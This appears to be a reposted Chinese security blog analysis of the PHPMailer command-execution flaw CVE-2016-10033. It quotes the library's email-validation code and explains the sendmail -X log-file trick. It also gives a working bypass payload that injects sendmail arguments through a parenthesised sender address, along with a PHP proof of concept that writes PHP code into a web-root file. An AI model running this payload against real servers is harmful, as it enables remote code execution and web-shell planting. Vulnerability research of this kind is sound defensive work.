PHPMailer 命令執行漏洞（CVE-2016-10033）分析（含通用POC）

來源：https://blog.chaitin.cn/phpmailer-cve-2016-10033/

作者：phithon@長亭科技

對比一下新老版本： https://github.com/PHPMailer/PHPMailer/compare/v5.2.17...master

其實答案呼之欲出了——和Roundcube的RCE類似，mail函數的第五個參數，傳命令參數的地方沒有進行轉義。

回顧一下當時Roundcube的漏洞：因為mail函數最終是調用的系統的sendmail進行郵件發送，而sendmail支持-X參數，通過這個參數可以將日志寫入指定文件。可以寫文件，當然就可以寫shell，造成RCE了。 詳細分析一下，下載一份源碼，并切換到5.2.17版本：

git clone https://github.com/PHPMailer/PHPMailer
cd PHPMailer
git checkout -b CVE-2016-10033 v5.2.17 

單步調試可以發現確實和之前Roundcube出現的漏洞（ http://wiki.ioin.in/search?word=roundcube ）一樣，是傳給mail函數的第五個參數沒有正確過濾：

但上圖是錯的，因為這里是不支持bash的一些語法的，也就是說反引號、${IFS}都是無效的。但實際上PHPMailer在調用mailPassthru前會對email進行一定的檢測，這導致我們無法構造出像Roundcube那些可以直接寫文件的payload，檢測部分的代碼如下：

 /**
     * Check that a string looks like an email address.
     * @param string $address The email address to check
     * @param string|callable $patternselect A selector for the validation pattern to use :
     * * `auto` Pick best pattern automatically;
     * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
     * * `pcre` Use old PCRE implementation;
     * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
     * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
     * * `noregex` Don't use a regex: super fast, really dumb.
     * Alternatively you may pass in a callable to inject your own validator, for example:
     * PHPMailer::validateAddress('user@example.com', function($address) {
     *     return (strpos($address, '@') !== false);
     * });
     * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator.
     * @return boolean
     * @static
     * @access public
     */
    public static function validateAddress($address, $patternselect = null)
    {
        if (is_null($patternselect)) {
            $patternselect = self::$validator;
        }
        if (is_callable($patternselect)) {
            return call_user_func($patternselect, $address);
        }
        //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
        if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) {
            return false;
        }
        if (!$patternselect or $patternselect == 'auto') {
            //Check this constant first so it works when extension_loaded() is disabled by safe mode
            //Constant was added in PHP 5.2.4
            if (defined('PCRE_VERSION')) {
                //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
                if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
                    $patternselect = 'pcre8';
                } else {
                    $patternselect = 'pcre';
                }
            } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
                //Fall back to older PCRE
                $patternselect = 'pcre';
            } else {
                //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
                if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
                    $patternselect = 'php';
                } else {
                    $patternselect = 'noregex';
                }
            }
        }
        switch ($patternselect) {
            case 'pcre8':
                /**
                 * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
                 * @link http://squiloople.com/2009/12/20/email-address-validation/
                 * @copyright 2009-2010 Michael Rushton
                 * Feel free to use and redistribute this code. But please keep this copyright notice.
                 */
                return (boolean)preg_match(
                    '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
                    '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
                    '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
                    '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
                    '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
                    '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
                    '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
                    '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
                    $address
                );
            case 'pcre':
                //An older regex that doesn't need a recent PCRE
                return (boolean)preg_match(
                    '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
                    '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
                    '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
                    '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
                    '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
                    '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
                    '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
                    '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
                    '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
                    $address
                );
            case 'html5':
                /**
                 * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
                 * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
                 */
                return (boolean)preg_match(
                    '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
                    '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
                    $address
                );
            case 'noregex':
                //No PCRE! Do something _very_ approximate!
                //Check the address is 3 chars or longer and contains an @ that's not the first or last char
                return (strlen($address) >= 3
                    and strpos($address, '@') >= 1
                    and strpos($address, '@') != strlen($address) - 1);
            case 'php':
            default:
                return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
        }
    } 

其他的地方我就不分析了，只分析上面這個函數，這個函數有這個特點

1. 默認patternselect==‘auto’，它會自動選擇一個方式對email進行檢測
2. 如果php支持正則PCRE（也就是包含preg_replace函數），就用正則的方式來檢查，就是那一大串很難讀懂的正則
3. 如果php不支持PCRE，且PHP版本大于PHP5.2.0，就是用PHP自帶的filter來檢查email
4. 如果php不支持PCRE，且PHP版本低于PHP5.2.0，就直接檢查email中是否包含@

所以，根據現在的分析（注意，不是最終分析），如果想繞過這個email的檢查，目標PHP環境必須有以下兩個條件：

1. PHP版本小于5.2.0
2. PHP不支持正則表達式，即沒有安裝PCRE擴展（默認是安裝的）

那么如果目標PHP環境不滿足上述條件，是不是就絕對不會出現漏洞了呢？當然答案也是否定的，我提兩種可能的情況。

開發者手工指定Email檢查方法

PHPMailer是支持讓開發者手工指定Email的檢測方法的：

如果開發者編寫了上述畫框的代碼，那么這里就是存在漏洞的，因為其只檢查Email中是否包含@。

開發者指定PHPMailer::$validator = 'noregex' 我們看到validateAddress函數：

public static function validateAddress($address, $patternselect = null)
{
   if (is_null($patternselect)) {
       $patternselect = self::$validator;
   } 

$patternselect默認是根據self::$validator來確定的，如果開發者指定了PHPMailer::$validator = 'noregex'，也就可以繞過validateAddress函數了。

分析一下Email正則

那么，這真的是一個雞肋漏洞么？年輕人，多思考一下。

如果想把漏洞變成一個可用的好漏洞，需要去繞過Email的正則，我們來分析一下：

preg_match(
'/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
'((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
'(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
'([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
'(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
'(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
'|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
'|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
'|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
$address
); 

中間的分析過程我后面慢慢寫，多研究一下你會發現，在@前面，如果加上括號，將可以引入空格，我的payload如下：

aaa( -X/home/www/success.php )@qq.com 

測試代碼：

<?php
require 'PHPMailer/PHPMailerAutoload.php';

function send($from) {
    $mail = new PHPMailer;

    $mail->setFrom($from);
    $mail->addAddress('joe@example.net', 'Joe User');     // Add a recipient

    $mail->isHTML(true);                                  // Set email format to HTML

    $mail->Subject = '<?php phpinfo(); ?>';
    $mail->Body    = 'This is the HTML message body <b>in bold!</b>';
    $mail->AltBody = 'This is the body in plain text for non-HTML mail clients';

    if(!$mail->send()) {
        echo 'Message could not be sent.';
        echo 'Mailer Error: ' . $mail->ErrorInfo;
    } else {
        echo 'Message has been sent' . "\n";
    }

    unset($mail);
}

$address = "aaa( -X/home/www/test.php )@qq.com";

send($address); 

執行：

成功寫入success.php。

利用這個payload，是無需PHP滿足什么條件的，通用寫文件Payload。

參考鏈接：

1. https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html
2. http://pwnscriptum.com/
3. https://www.exploit-db.com/exploits/40968/
4. https://github.com/opsxcq/exploit-CVE-2016-10033

本文由 Seebug Paper 發布，如需轉載請注明來源。本文地址：http://www.bjnorthway.com/160/